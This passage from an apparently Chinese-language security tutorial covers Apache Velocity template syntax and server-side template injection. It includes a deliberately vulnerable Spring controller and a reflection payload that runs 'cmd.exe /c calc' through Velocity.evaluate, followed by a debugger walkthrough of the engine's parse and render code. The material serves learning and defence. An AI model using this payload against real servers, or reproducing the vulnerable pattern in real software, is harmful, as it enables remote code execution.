<span class=n>context</span><span class=p>.</span><span class=n>put</span><span class=p>(</span><span class=s>"price"</span><span class=p>,</span> <span class=mi>10</span><span class=p>);</span>
<span class=n>context</span><span class=p>.</span><span class=n>put</span><span class=p>(</span><span class=s>"quantity"</span><span class=p>,</span> <span class=mi>3</span><span class=p>);</span>
<span class=n>context</span><span class=p>.</span><span class=n>put</span><span class=p>(</span><span class=s>"name"</span><span class=p>,</span> <span class=s>"Al1ex"</span><span class=p>);</span>
<span class=cp>#模板内容</span>
<span class=cp>#set($total = $price * $quantity)</span>
<span class=n>The</span> <span class=n>total</span> <span class=n>cost</span> <span class=n>is</span> <span class=err>$</span><span class=n>total</span><span class=p>.</span>
<span class=cp>#set($greeting = "Hello, " + $name)</span>
<span class=err>$</span><span class=n>greeting</span>
<span class=cp>#输出内容:</span>
<span class=n>The</span> <span class=n>total</span> <span class=n>cost</span> <span class=n>is</span> <span class=mf>30.</span>
<span class=n>Hello</span><span class=p>,</span> <span class=n>Al1ex</span>
</pre></div>
<h3 id=toc-3>标识符类</h3>
<h4>'#'号标识符</h4>
<p>在Apache Velocity模板引擎中#符号用来标识各种脚本语句,允许开发者在模板中实现逻辑控制、数据处理和代码重用等功能,下面是一些常见的以#开头的Velocity指令<br>
<strong>1、#set</strong><br>
用于设置变量的值</p>
<div class=highlight><pre><span></span><span class=cp>#set($name = "John")</span>
<span class=n>Hello</span><span class=p>,</span> <span class=err>$</span><span class=n>name</span><span class=o>!</span> <span class=err>##</span> <span class=err>输出:</span><span class=n>Hello</span><span class=p>,</span> <span class=n>John</span><span class=o>!</span>
</pre></div>
<p>2、#if<br>
用于条件判断</p>
<div class=highlight><pre><span></span><span class=cp>#if($age &gt;= 18)</span>
<span class=n>You</span> <span class=n>are</span> <span class=n>an</span> <span class=n>adult</span><span class=p>.</span>
<span class=cp>#else</span>
<span class=n>You</span> <span class=n>are</span> <span class=n>a</span> <span class=n>minor</span><span class=p>.</span>
<span class=cp>#end</span>
</pre></div>
<p>3、#else<br>
'#'和if搭配使用表示其它情况</p>
<div class=highlight><pre><span></span><span class=cp>#if($isMember)</span>
<span class=n>Welcome</span> <span class=n>back</span><span class=p>,</span> <span class=n>member</span><span class=o>!</span>
<span class=cp>#else</span>
<span class=n>Please</span> <span class=n>sign</span> <span class=n>up</span><span class=p>.</span>
<span class=cp>#end</span>
</pre></div>
<p>4、#foreach<br>
用于遍历集合(例如:数组或列表)</p>
<div class=highlight><pre><span></span><span class=cp>#foreach($item in $items)</span>
<span class=nl>Item</span><span class=p>:</span> <span class=err>$</span><span class=n>item</span>
<span class=cp>#end</span>
</pre></div>
<p>5、#include<br>
用于包含其他文件的内容</p>
<div class=highlight><pre><span></span><span class=cp>#include</span><span class=cpf>("header.vm")</span><span class=cp></span>
</pre></div>
<p>6、#parse<br>
类似于#include但更适合解析并执行另一个模板文件</p>
<div class=highlight><pre><span></span><span class=cp>#parse("footer.vm")</span>
</pre></div>
<p>7、#macro<br>
用于定义可重用的宏</p>
<div class=highlight><pre><span></span><span class=cp>#macro(greeting $name)</span>
<span class=n>Hello</span><span class=p>,</span> <span class=err>$</span><span class=n>name</span><span class=o>!</span>
<span class=cp>#end</span>
<span class=cp>#greeting("Alice") ## 输出Hello, Alice!</span>
</pre></div>
<p>8、#break<br>
在循环中用于提前退出循环</p>
<div class=highlight><pre><span></span><span class=cp>#foreach($i in [1..5])</span>
<span class=cp>#if($i == 3)</span>
<span class=cp>#break</span>
<span class=cp>#end</span>
<span class=err>$</span><span class=n>i</span>
<span class=cp>#end</span>
</pre></div>
<p>9、#stop<br>
在模板的渲染过程中停止进一步的处理</p>
<div class=highlight><pre><span></span><span class=cp>#if($condition)</span>
<span class=cp>#stop</span>
<span class=cp>#end</span>
</pre></div>
<p>10、#directive<br>
用于创建自定义指令</p>
<div class=highlight><pre><span></span><span class=cp>#directive(myDirective)</span>
</pre></div>
<h4>{}标识符</h4>
<p>Velocity中的{}标识符用于变量和表达式的引用,它们提供了一种简洁的方法来插入变量值、调用方法或访问对象属性,例如:<br>
<strong>1、引用变量</strong><br>
可以使用${}来引用一个变量的值,变量通常通过#set指令定义</p>
<div class=highlight><pre><span></span><span class=cp>#set($name = "John")</span>
<span class=n>Hello</span><span class=p>,</span> <span class=err>$</span><span class=p>{</span><span class=n>name</span><span class=p>}</span><span class=o>!</span> <span class=err>##</span> <span class=err>输出:</span><span class=n>Hello</span><span class=p>,</span> <span class=n>John</span><span class=o>!</span>
</pre></div>
<p>2、访问对象属性<br>
如果变量是一个对象,那么可以使用${}来访问该对象的属性</p>
<div class=highlight><pre><span></span><span class=cp>#set($person = {"firstName": "Jane", "lastName": "Doe"})</span>
<span class=n>Hello</span><span class=p>,</span> <span class=err>$</span><span class=p>{</span><span class=n>person</span><span class=p>.</span><span class=n>firstName</span><span class=p>}</span> <span class=err>$</span><span class=p>{</span><span class=n>person</span><span class=p>.</span><span class=n>lastName</span><span class=p>}</span><span class=o>!</span> <span class=err>##</span> <span class=err>输出:</span><span class=n>Hello</span><span class=p>,</span> <span class=n>Jane</span> <span class=n>Doe</span><span class=o>!</span>
</pre></div>
<p>3、调用方法<br>
在${}中调用对象的方法</p>
<div class=highlight><pre><span></span><span class=cp>#set($dateTool = $tool.date)</span>
<span class=n>Today</span><span class=err>'</span><span class=n>s</span> <span class=n>date</span> <span class=nl>is</span><span class=p>:</span> <span class=err>$</span><span class=p>{</span><span class=n>dateTool</span><span class=p>.</span><span class=n>format</span><span class=p>(</span><span class=s>"yyyy-MM-dd"</span><span class=p>)}</span> <span class=err>##</span> <span class=err>输出当前日期</span>
</pre></div>
<h4>$标识符</h4>
<p>在Apache Velocity模板引擎中$符号用于表示变量的引用,通过$您可以访问在模板中定义的变量、对象属性和方法这是Velocity的核心特性之一使得模板能够动态地插入数据<br>
<strong>1、引用变量</strong><br>
使用$可以直接引用之前声明的变量,通常变量是通过#set指令定义的</p>
<div class=highlight><pre><span></span><span class=cp>#set($username = "Alice")</span>
<span class=n>Welcome</span><span class=p>,</span> <span class=err>$</span><span class=n>username</span><span class=o>!</span> <span class=err>##</span> <span class=err>输出:</span><span class=n>Welcome</span><span class=p>,</span> <span class=n>Alice</span><span class=o>!</span>
</pre></div>
<p>2、访问对象属性<br>
如果变量是一个对象,可以使用$来访问该对象的属性,例如:如果你有一个用户对象,你可以获取其属性</p>
<div class=highlight><pre><span></span><span class=cp>#set($user = {"name": "Bob", "age": 30})</span>
<span class=n>Hello</span><span class=p>,</span> <span class=err>$</span><span class=n>user</span><span class=p>.</span><span class=n>name</span><span class=o>!</span> <span class=n>You</span> <span class=n>are</span> <span class=err>$</span><span class=n>user</span><span class=p>.</span><span class=n>age</span> <span class=n>years</span> <span class=n>old</span><span class=p>.</span> <span class=err>##</span> <span class=err>输出:</span><span class=n>Hello</span><span class=p>,</span> <span class=n>Bob</span><span class=o>!</span> <span class=n>You</span> <span class=n>are</span> <span class=mi>30</span> <span class=n>years</span> <span class=n>old</span><span class=p>.</span>
</pre></div>
<p>3、调用方法<br>
通过$来调用对象的方法以便执行某些操作或获取计算的结果</p>
<div class=highlight><pre><span></span><span class=cp>#set($dateTool = $tool.date)</span>
<span class=n>Today</span><span class=err>'</span><span class=n>s</span> <span class=n>date</span> <span class=nl>is</span><span class=p>:</span> <span class=err>$</span><span class=n>dateTool</span><span class=p>.</span><span class=n>format</span><span class=p>(</span><span class=s>"yyyy-MM-dd"</span><span class=p>)</span> <span class=err>##</span> <span class=err>输出当前日期</span>
</pre></div>
<p>4、表达式计算<br>
虽然$本身只用于变量引用,但可以与{}结合使用来实现简单的数学运算</p>
<div class=highlight><pre><span></span><span class=cp>#set($a = 5)</span>
<span class=cp>#set($b = 10)</span>
<span class=n>The</span> <span class=n>sum</span> <span class=n>of</span> <span class=err>$</span><span class=n>a</span> <span class=n>and</span> <span class=err>$</span><span class=n>b</span> <span class=n>is</span> <span class=err>$</span><span class=p>{</span><span class=n>a</span> <span class=o>+</span> <span class=n>b</span><span class=p>}.</span> <span class=err>##</span> <span class=err>输出:</span><span class=n>The</span> <span class=n>sum</span> <span class=n>of</span> <span class=mi>5</span> <span class=n>and</span> <span class=mi>10</span> <span class=n>is</span> <span class=mf>15.</span>
</pre></div>
<h4>! 标识符</h4>
<p>在Apache Velocity模板引擎中!符号主要用于处理变量的空值(null)和默认值,它提供了一种简单的方法来确保在引用变量时,如果该变量为空则使用一个默认值,这种功能有助于避免在模板中出现空值,从而增强模板的健壮性和用户体验,当您想要引用一个变量并提供一个默认值时,可以使用${variable!"defaultValue"}的语法,其中:<br>
variable 是您希望引用的变量名<br>
defaultValue 是该变量为空时将使用的值<br>
<strong>1、基本使用</strong><br>
在这个例子中由于$name是空字符串所以输出了默认值"Guest"</p>
<div class=highlight><pre><span></span><span class=cp>#set($name = "")</span>
<span class=n>Welcome</span><span class=p>,</span> <span class=err>$</span><span class=p>{</span><span class=n>name</span><span class=o>!</span><span class=s>"Guest"</span><span class=p>}</span><span class=o>!</span> <span class=err>##</span> <span class=err>输出:</span><span class=n>Welcome</span><span class=p>,</span> <span class=n>Guest</span><span class=o>!</span>
</pre></div>
<p>2、带有实际值的变量<br>
如果变量有值那么!不会影响其输出,因为在这个例子中$name有值"Alice",所以会直接输出这个值</p>
<div class=highlight><pre><span></span><span class=cp>#set($name = "Alice")</span>
<span class=n>Welcome</span><span class=p>,</span> <span class=err>$</span><span class=p>{</span><span class=n>name</span><span class=o>!</span><span class=s>"Guest"</span><span class=p>}</span><span class=o>!</span> <span class=err>##</span> <span class=err>输出:</span><span class=n>Welcome</span><span class=p>,</span> <span class=n>Alice</span><span class=o>!</span>
</pre></div>
<h3 id=toc-4>模板注入</h3>
<h4>Velocity.evaluate</h4>
<h5>方法介绍</h5>
<p>Velocity.evaluate是Velocity引擎中的一个方法用于处理字符串模板的评估Velocity是一个基于Java的模板引擎广泛应用于WEB开发和其他需要动态内容生成的场合Velocity.evaluate方法的主要作用是将给定的模板字符串与上下文对象结合并生成最终的输出结果这个方法通常用于在运行时动态创建内容比如生成HTML页面的内容或电子邮件的文本方法如下所示</p>
<div class=highlight><pre><span></span><span class=n>public</span> <span class=k>static</span> <span class=kt>void</span> <span class=n>evaluate</span><span class=p>(</span><span class=n>Context</span> <span class=n>context</span><span class=p>,</span> <span class=n>Writer</span> <span class=n>writer</span><span class=p>,</span> <span class=n>String</span> <span class=n>templateName</span><span class=p>,</span> <span class=n>String</span> <span class=n>template</span><span class=p>)</span>
</pre></div>
<p>参数说明:</p>
<ul>
<li>Context context提供模板所需的数据上下文可以包含多个键值对</li>
<li>Writer writer输出流用于写入生成的内容</li>
<li>String templateName模板的名称通常用于调试信息中</li>
<li>String template要评估的模板字符串</li>
</ul>
<h4>示例代码</h4>
<p>简易构造如下代码所示:</p>
<div class=highlight><pre><span></span><span class=n>package</span> <span class=n>com</span><span class=p>.</span><span class=n>velocity</span><span class=p>.</span><span class=n>velocitytest</span><span class=p>.</span><span class=n>controller</span><span class=p>;</span>
<span class=n>import</span> <span class=n>org</span><span class=p>.</span><span class=n>apache</span><span class=p>.</span><span class=n>velocity</span><span class=p>.</span><span class=n>app</span><span class=p>.</span><span class=n>Velocity</span><span class=p>;</span>
<span class=n>import</span> <span class=n>org</span><span class=p>.</span><span class=n>apache</span><span class=p>.</span><span class=n>velocity</span><span class=p>.</span><span class=n>VelocityContext</span><span class=p>;</span>
<span class=n>import</span> <span class=n>org</span><span class=p>.</span><span class=n>springframework</span><span class=p>.</span><span class=n>web</span><span class=p>.</span><span class=n>bind</span><span class=p>.</span><span class=n>annotation</span><span class=p>.</span><span class=o>*</span><span class=p>;</span>
<span class=n>import</span> <span class=n>java</span><span class=p>.</span><span class=n>io</span><span class=p>.</span><span class=n>StringWriter</span><span class=p>;</span>
<span class=err>@</span><span class=n>RestController</span>
<span class=n>public</span> <span class=n>class</span> <span class=n>VelocityController</span> <span class=p>{</span>
<span class=err>@</span><span class=n>RequestMapping</span><span class=p>(</span><span class=s>"/ssti/velocity1"</span><span class=p>)</span>
<span class=err>@</span><span class=n>ResponseBody</span>
<span class=n>public</span> <span class=n>String</span> <span class=n>velocity1</span><span class=p>(</span><span class=err>@</span><span class=n>RequestParam</span><span class=p>(</span><span class=n>defaultValue</span><span class=o>=</span><span class=s>"Al1ex"</span><span class=p>)</span> <span class=n>String</span> <span class=n>username</span><span class=p>)</span> <span class=p>{</span>
<span class=n>String</span> <span class=n>templateString</span> <span class=o>=</span> <span class=s>"Hello, "</span> <span class=o>+</span> <span class=n>username</span> <span class=o>+</span> <span class=s>" | Full name: $name, phone: $phone, email: $email"</span><span class=p>;</span>
<span class=n>Velocity</span><span class=p>.</span><span class=n>init</span><span class=p>();</span>
<span class=n>VelocityContext</span> <span class=n>ctx</span> <span class=o>=</span> <span class=n>new</span> <span class=n>VelocityContext</span><span class=p>();</span>
<span class=n>ctx</span><span class=p>.</span><span class=n>put</span><span class=p>(</span><span class=s>"name"</span><span class=p>,</span> <span class=s>"Al1ex Al2ex Al3ex"</span><span class=p>);</span>
<span class=n>ctx</span><span class=p>.</span><span class=n>put</span><span class=p>(</span><span class=s>"phone"</span><span class=p>,</span> <span class=s>"18892936458"</span><span class=p>);</span>
<span class=n>ctx</span><span class=p>.</span><span class=n>put</span><span class=p>(</span><span class=s>"email"</span><span class=p>,</span> <span class=s>"Al1ex@heptagram.com"</span><span class=p>);</span>
<span class=n>StringWriter</span> <span class=n>out</span> <span class=o>=</span> <span class=n>new</span> <span class=n>StringWriter</span><span class=p>();</span>
<span class=n>Velocity</span><span class=p>.</span><span class=n>evaluate</span><span class=p>(</span><span class=n>ctx</span><span class=p>,</span> <span class=n>out</span><span class=p>,</span> <span class=s>"test"</span><span class=p>,</span> <span class=n>templateString</span><span class=p>);</span>
<span class=k>return</span> <span class=n>out</span><span class=p>.</span><span class=n>toString</span><span class=p>();</span>
<span class=p>}</span>
<span class=p>}</span>
</pre></div>
<h4>利用载荷</h4>
<p>通过上面的菲尼我们可以构造如下payload</p>
<div class=highlight><pre><span></span><span class=n>username</span><span class=o>=</span><span class=err>#</span><span class=n>set</span><span class=p>(</span><span class=err>$</span><span class=n>e</span><span class=o>=</span><span class=s>"e"</span><span class=p>)</span><span class=err>$</span><span class=n>e</span><span class=p>.</span><span class=n>getClass</span><span class=p>().</span><span class=n>forName</span><span class=p>(</span><span class=s>"java.lang.Runtime"</span><span class=p>).</span><span class=n>getMethod</span><span class=p>(</span><span class=s>"getRuntime"</span><span class=p>,</span><span class=n>null</span><span class=p>).</span><span class=n>invoke</span><span class=p>(</span><span class=n>null</span><span class=p>,</span><span class=n>null</span><span class=p>).</span><span class=n>exec</span><span class=p>(</span><span class=s>"cmd.exe /c calc"</span><span class=p>)</span>
</pre></div>
<p><a id=img0 href=https://xzfile.aliyuncs.com/media/upload/picture/20240821101002-79f80878-5f62-1.png><img src=data:, data-sf-original-src=https://xzfile.aliyuncs.com/media/upload/picture/20240821101002-79f80878-5f62-1.png></a></p>
<h4>调试分析</h4>
<p>下面我们在Velocity.evaluate功能模块处打断点进行调试分析</p>
<p><a id=img1 href=https://xzfile.aliyuncs.com/media/upload/picture/20240821101035-8d2fbdb4-5f62-1.png><img src=data:, data-sf-original-src=https://xzfile.aliyuncs.com/media/upload/picture/20240821101035-8d2fbdb4-5f62-1.png></a><br>
上面参数传递拼接templateString带入Velocity.evaluate调用evaluate方法</p>
<p><a id=img2 href=https://xzfile.aliyuncs.com/media/upload/picture/20240821101053-98493e0a-5f62-1.png><img src=data:, data-sf-original-src=https://xzfile.aliyuncs.com/media/upload/picture/20240821101053-98493e0a-5f62-1.png></a><br>
随后继续向下跟进在这调用当前类中的evaluate</p>
<p><a id=img3 href=https://xzfile.aliyuncs.com/media/upload/picture/20240821101108-a0ed2a1c-5f62-1.png><img src=data:, data-sf-original-src=https://xzfile.aliyuncs.com/media/upload/picture/20240821101108-a0ed2a1c-5f62-1.png></a></p>
<p>随后在evaluate中先检查模板名称是否为空不为空后调用parser进行模板解析<br>
<a id=img4 href=https://xzfile.aliyuncs.com/media/upload/picture/20240821101123-a9f3dbe2-5f62-1.png><img src=data:, data-sf-original-src=https://xzfile.aliyuncs.com/media/upload/picture/20240821101123-a9f3dbe2-5f62-1.png></a></p>
<p>在这里首先检查是否已经初始化解析器如果未初始化则进行初始化操作随后从解析器池中获取一个Parser对象如果池中没有可用的解析器则将keepParser标志设为true以便找到对应的适配的解析器紧接着调用dumpVMNamespace(templateName)方法来转储命名空间信息并使用parser.parse(reader, templateName)方法从reader中解析模板返回的结果存储在var6中</p>
<p><a id=img5 href=https://xzfile.aliyuncs.com/media/upload/picture/20240821101142-b55e2910-5f62-1.png><img src=data:, data-sf-original-src=https://xzfile.aliyuncs.com/media/upload/picture/20240821101142-b55e2910-5f62-1.png></a></p>
<p>随后调用parser进行模板解析首先初始化和状态清理随后开始进行解析</p>
<div class=highlight><pre><span></span><span class=n>public</span> <span class=n>SimpleNode</span> <span class=nf>parse</span><span class=p>(</span><span class=n>Reader</span> <span class=n>reader</span><span class=p>,</span> <span class=n>String</span> <span class=n>templateName</span><span class=p>)</span> <span class=n>throws</span> <span class=n>ParseException</span> <span class=p>{</span>
<span class=n>SimpleNode</span> <span class=n>sn</span> <span class=o>=</span> <span class=n>null</span><span class=p>;</span>
<span class=n>this</span><span class=p>.</span><span class=n>currentTemplateName</span> <span class=o>=</span> <span class=n>templateName</span><span class=p>;</span>
<span class=n>try</span> <span class=p>{</span>
<span class=n>this</span><span class=p>.</span><span class=n>token_source</span><span class=p>.</span><span class=n>clearStateVars</span><span class=p>();</span>
<span class=n>this</span><span class=p>.</span><span class=n>velcharstream</span><span class=p>.</span><span class=n>ReInit</span><span class=p>(</span><span class=n>reader</span><span class=p>,</span> <span class=mi>1</span><span class=p>,</span> <span class=mi>1</span><span class=p>);</span>
<span class=n>this</span><span class=p>.</span><span class=n>ReInit</span><span class=p>((</span><span class=n>CharStream</span><span class=p>)</span><span class=n>this</span><span class=p>.</span><span class=n>velcharstream</span><span class=p>);</span>
<span class=n>sn</span> <span class=o>=</span> <span class=n>this</span><span class=p>.</span><span class=n>process</span><span class=p>();</span>
<span class=p>}</span> <span class=n>catch</span> <span class=p>(</span><span class=n>MacroParseException</span> <span class=n>var6</span><span class=p>)</span> <span class=p>{</span>
<span class=n>this</span><span class=p>.</span><span class=n>rsvc</span><span class=p>.</span><span class=n>getLog</span><span class=p>().</span><span class=n>error</span><span class=p>(</span><span class=s>"Parser Error: "</span> <span class=o>+</span> <span class=n>templateName</span><span class=p>,</span> <span class=n>var6</span><span class=p>);</span>
<span class=n>throw</span> <span class=n>var6</span><span class=p>;</span>
<span class=p>}</span> <span class=n>catch</span> <span class=p>(</span><span class=n>ParseException</span> <span class=n>var7</span><span class=p>)</span> <span class=p>{</span>
<span class=n>this</span><span class=p>.</span><span class=n>rsvc</span><span class=p>.</span><span class=n>getLog</span><span class=p>().</span><span class=n>error</span><span class=p>(</span><span class=s>"Parser Exception: "</span> <span class=o>+</span> <span class=n>templateName</span><span class=p>,</span> <span class=n>var7</span><span class=p>);</span>
<span class=n>throw</span> <span class=n>new</span> <span class=n>TemplateParseException</span><span class=p>(</span><span class=n>var7</span><span class=p>.</span><span class=n>currentToken</span><span class=p>,</span> <span class=n>var7</span><span class=p>.</span><span class=n>expectedTokenSequences</span><span class=p>,</span> <span class=n>var7</span><span class=p>.</span><span class=n>tokenImage</span><span class=p>,</span> <span class=n>this</span><span class=p>.</span><span class=n>currentTemplateName</span><span class=p>);</span>
<span class=p>}</span> <span class=n>catch</span> <span class=p>(</span><span class=n>TokenMgrError</span> <span class=n>var8</span><span class=p>)</span> <span class=p>{</span>
<span class=n>throw</span> <span class=n>new</span> <span class=n>ParseException</span><span class=p>(</span><span class=s>"Lexical error: "</span> <span class=o>+</span> <span class=n>var8</span><span class=p>.</span><span class=n>toString</span><span class=p>());</span>
<span class=p>}</span> <span class=n>catch</span> <span class=p>(</span><span class=n>Exception</span> <span class=n>var9</span><span class=p>)</span> <span class=p>{</span>
<span class=n>String</span> <span class=n>msg</span> <span class=o>=</span> <span class=s>"Parser Error: "</span> <span class=o>+</span> <span class=n>templateName</span><span class=p>;</span>
<span class=n>this</span><span class=p>.</span><span class=n>rsvc</span><span class=p>.</span><span class=n>getLog</span><span class=p>().</span><span class=n>error</span><span class=p>(</span><span class=n>msg</span><span class=p>,</span> <span class=n>var9</span><span class=p>);</span>
<span class=n>throw</span> <span class=n>new</span> <span class=n>VelocityException</span><span class=p>(</span><span class=n>msg</span><span class=p>,</span> <span class=n>var9</span><span class=p>);</span>
<span class=p>}</span>
<span class=n>this</span><span class=p>.</span><span class=n>currentTemplateName</span> <span class=o>=</span> <span class=s>""</span><span class=p>;</span>
<span class=k>return</span> <span class=n>sn</span><span class=p>;</span>
<span class=p>}</span>
</pre></div>
<p><a id=img6 href=https://xzfile.aliyuncs.com/media/upload/picture/20240821101215-c8afdb9e-5f62-1.png><img src=data:, data-sf-original-src=https://xzfile.aliyuncs.com/media/upload/picture/20240821101215-c8afdb9e-5f62-1.png></a></p>
<p><a id=img7 href=https://xzfile.aliyuncs.com/media/upload/picture/20240821101228-d0ca7852-5f62-1.png><img src=data:, data-sf-original-src=https://xzfile.aliyuncs.com/media/upload/picture/20240821101228-d0ca7852-5f62-1.png></a></p>
<p>随后进行模板渲染操作如果nodeTree为null则返回false表示评估失败如果nodeTree不为null则调用render方法使用提供的上下文、写入器和日志标签来渲染模板将render方法的结果(布尔值)作为返回值,如果渲染成功则返回 true否则返回false</p>
<p><a id=img8 href=https://xzfile.aliyuncs.com/media/upload/picture/20240821101244-da1c0ac4-5f62-1.png><img src=data:, data-sf-original-src=https://xzfile.aliyuncs.com/media/upload/picture/20240821101244-da1c0ac4-5f62-1.png></a><br>
render渲染代码如下所示</p>
<p><a id=img9 href=https://xzfile.aliyuncs.com/media/upload/picture/20240821101415-104df45e-5f63-1.png><img src=data:, data-sf-original-src=https://xzfile.aliyuncs.com/media/upload/picture/20240821101415-104df45e-5f63-1.png></a></p>
<div class=highlight><pre><span></span><span class=n>public</span> <span class=n>boolean</span> <span class=nf>render</span><span class=p>(</span><span class=n>Context</span> <span class=n>context</span><span class=p>,</span> <span class=n>Writer</span> <span class=n>writer</span><span class=p>,</span> <span class=n>String</span> <span class=n>logTag</span><span class=p>,</span> <span class=n>SimpleNode</span> <span class=n>nodeTree</span><span class=p>)</span> <span class=p>{</span>
<span class=n>InternalContextAdapterImpl</span> <span class=n>ica</span> <span class=o>=</span> <span class=n>new</span> <span class=n>InternalContextAdapterImpl</span><span class=p>(</span><span class=n>context</span><span class=p>);</span>
<span class=n>ica</span><span class=p>.</span><span class=n>pushCurrentTemplateName</span><span class=p>(</span><span class=n>logTag</span><span class=p>);</span>
<span class=n>try</span> <span class=p>{</span>
<span class=n>try</span> <span class=p>{</span>
<span class=n>nodeTree</span><span class=p>.</span><span class=n>init</span><span class=p>(</span><span class=n>ica</span><span class=p>,</span> <span class=n>this</span><span class=p>);</span>
<span class=p>}</span> <span class=n>catch</span> <span class=p>(</span><span class=n>TemplateInitException</span> <span class=n>var18</span><span class=p>)</span> <span class=p>{</span>
<span class=n>throw</span> <span class=n>new</span> <span class=n>ParseErrorException</span><span class=p>(</span><span class=n>var18</span><span class=p>,</span> <span class=p>(</span><span class=n>String</span><span class=p>)</span><span class=n>null</span><span class=p>);</span>
<span class=p>}</span> <span class=n>catch</span> <span class=p>(</span><span class=n>RuntimeException</span> <span class=n>var19</span><span class=p>)</span> <span class=p>{</span>
<span class=n>throw</span> <span class=n>var19</span><span class=p>;</span>
<span class=p>}</span> <span class=n>catch</span> <span class=p>(</span><span class=n>Exception</span> <span class=n>var20</span><span class=p>)</span> <span class=p>{</span>
<span class=n>String</span> <span class=n>msg</span> <span class=o>=</span> <span class=s>"RuntimeInstance.render(): init exception for tag = "</span> <span class=o>+</span> <span class=n>logTag</span><span class=p>;</span>
<span class=n>this</span><span class=p>.</span><span class=n>getLog</span><span class=p>().</span><span class=n>error</span><span class=p>(</span><span class=n>msg</span><span class=p>,</span> <span class=n>var20</span><span class=p>);</span>
<span class=n>throw</span> <span class=n>new</span> <span class=n>VelocityException</span><span class=p>(</span><span class=n>msg</span><span class=p>,</span> <span class=n>var20</span><span class=p>);</span>
<span class=p>}</span>
<span class=n>try</span> <span class=p>{</span>
<span class=k>if</span> <span class=p>(</span><span class=n>this</span><span class=p>.</span><span class=n>provideEvaluateScope</span><span class=p>)</span> <span class=p>{</span>
<span class=n>Object</span> <span class=n>previous</span> <span class=o>=</span> <span class=n>ica</span><span class=p>.</span><span class=n>get</span><span class=p>(</span><span class=n>this</span><span class=p>.</span><span class=n>evaluateScopeName</span><span class=p>);</span>
<span class=n>context</span><span class=p>.</span><span class=n>put</span><span class=p>(</span><span class=n>this</span><span class=p>.</span><span class=n>evaluateScopeName</span><span class=p>,</span> <span class=n>new</span> <span class=n>Scope</span><span class=p>(</span><span class=n>this</span><span class=p>,</span> <span class=n>previous</span><span class=p>));</span>
<span class=p>}</span>
<span class=n>nodeTree</span><span class=p>.</span><span class=n>render</span><span class=p>(</span><span class=n>ica</span><span class=p>,</span> <span class=n>writer</span><span class=p>);</span>
<span class=p>}</span> <span class=n>catch</span> <span class=p>(</span><span class=n>StopCommand</span> <span class=n>var21</span><span class=p>)</span> <span class=p>{</span>
<span class=k>if</span> <span class=p>(</span><span class=o>!</span><span class=n>var21</span><span class=p>.</span><span class=n>isFor</span><span class=p>(</span><span class=n>this</span><span class=p>))</span> <span class=p>{</span>
<span class=n>throw</span> <span class=n>var21</span><span class=p>;</span>
<span class=p>}</span>
<span class=k>if</span> <span class=p>(</span><span class=n>this</span><span class=p>.</span><span class=n>getLog</span><span class=p>().</span><span class=n>isDebugEnabled</span><span class=p>())</span> <span class=p>{</span>
<span class=n>this</span><span class=p>.</span><span class=n>getLog</span><span class=p>().</span><span class=n>debug</span><span class=p>(</span><span class=n>var21</span><span class=p>.</span><span class=n>getMessage</span><span class=p>());</span>
<span class=p>}</span>
<span class=p>}</span> <span class=n>catch</span> <span class=p>(</span><span class=n>IOException</span> <span class=n>var22</span><span class=p>)</span> <span class=p>{</span>
<span class=n>throw</span> <span class=n>new</span> <span class=n>VelocityException</span><span class=p>(</span><span class=s>"IO Error in writer: "</span> <span class=o>+</span> <span class=n>var22</span><span class=p>.</span><span class=n>getMessage</span><span class=p>(),</span> <span class=n>var22</span><span class=p>);</span>
<span class=p>}</span>
<span class=p>}</span> <span class=n>finally</span> <span class=p>{</span>
<span class=n>ica</span><span class=p>.</span><span class=n>popCurrentTemplateName</span><span class=p>();</span>
<span class=k>if</span> <span class=p>(</span><span class=n>this</span><span class=p>.</span><span class=n>provideEvaluateScope</span><span class=p>)</span> <span class=p>{</span>
<span class=n>Object</span> <span class=n>obj</span> <span class=o>=</span> <span class=n>ica</span><span class=p>.</span><span class=n>get</span><span class=p>(</span><span class=n>this</span><span class=p>.</span><span class=n>evaluateScopeName</span><span class=p>);</span>
<span class=k>if</span> <span class=p>(</span><span class=n>obj</span> <span class=n>instanceof</span> <span class=n>Scope</span><span class=p>)</span> <span class=p>{</span>
<span class=n>Scope</span> <span class=n>scope</span> <span class=o>=</span> <span class=p>(</span><span class=n>Scope</span><span class=p>)</span><span class=n>obj</span><span class=p>;</span>
<span class=k>if</span> <span class=p>(</span><span class=n>scope</span><span class=p>.</span><span class=n>getParent</span><span class=p>()</span> <span class=o>!=</span> <span class=n>null</span><span class=p>)</span> <span class=p>{</span>
<span class=n>ica</span><span class=p>.</span><span class=n>put</span><span class=p>(</span><span class=n>this</span><span class=p>.</span><span class=n>evaluateScopeName</span><span class=p>,</span> <span class=n>scope</span><span class=p>.</span><span class=n>getParent</span><span class=p>());</span>
<span class=p>}</span> <span class=k>else</span> <span class=k>if</span> <span class=p>(</span><span class=n>scope</span><span class=p>.</span><span class=n>getReplaced</span><span class=p>()</span> <span class=o>!=</span> <span class=n>null</span><span class=p>)</span> <span class=p>{</span>
<span class=n>ica</span><span class=p>.</span><span class=n>put</span><span class=p>(</span><span class=n>this</span><span class=p>.</span><span class=n>evaluateScopeName</span><span class=p>,</span> <span class=n>scope</span><span class=p>.</span><span class=n>getReplaced</span><span class=p>());</span>
<span class=p>}</span> <span class=k>else</span> <span class=p>{</span>
<span class=n>ica</span><span class=p>.</span><span class=n>remove</span><span class=p>(</span><span class=n>this</span><span class=p>.</span><span class=n>evaluateScopeName</span><span class=p>);</span>
<span class=p>}</span>
<span class=p>}</span>
<span class=p>}</span>
<span class=p>}</span>
<span class=k>return</span> <span class=nb>true</span><span class=p>;</span>
<span class=p>}</span>
</pre></div>
<p>随后通过render将模板的内容渲染到指定的Writer中jjtGetNumChildren()用于获取子节点数量this.jjtGetChild(i)获取第i个子节点对每个子节点调用其render方法将上下文和写入器作为参数传递</p>
<p><a id=img10 href=https://xzfile.aliyuncs.com/media/upload/picture/20240821101436-1d38561e-5f63-1.png><img src=data:, data-sf-original-src=https://xzfile.aliyuncs.com/media/upload/picture/20240821101436-1d38561e-5f63-1.png></a><br>
render的具体实现如下所示在这里会调用execute方法来进行具体的解析操作</p>
<p><a id=img11 href=https://xzfile.aliyuncs.com/media/upload/picture/20240821101511-31f23b38-5f63-1.png><img src=data:, data-sf-original-src=https://xzfile.aliyuncs.com/media/upload/picture/20240821101511-31f23b38-5f63-1.png></a></p>
<p>execute的执行代码如下所示可以看到这里的children即为我们传入的参数值</p>
<p><a id=img12 href=https://xzfile.aliyuncs.com/media/upload/picture/20240821101525-3a60963e-5f63-1.png><img src=data:, data-sf-original-src=https://xzfile.aliyuncs.com/media/upload/picture/20240821101525-3a60963e-5f63-1.png></a></p>
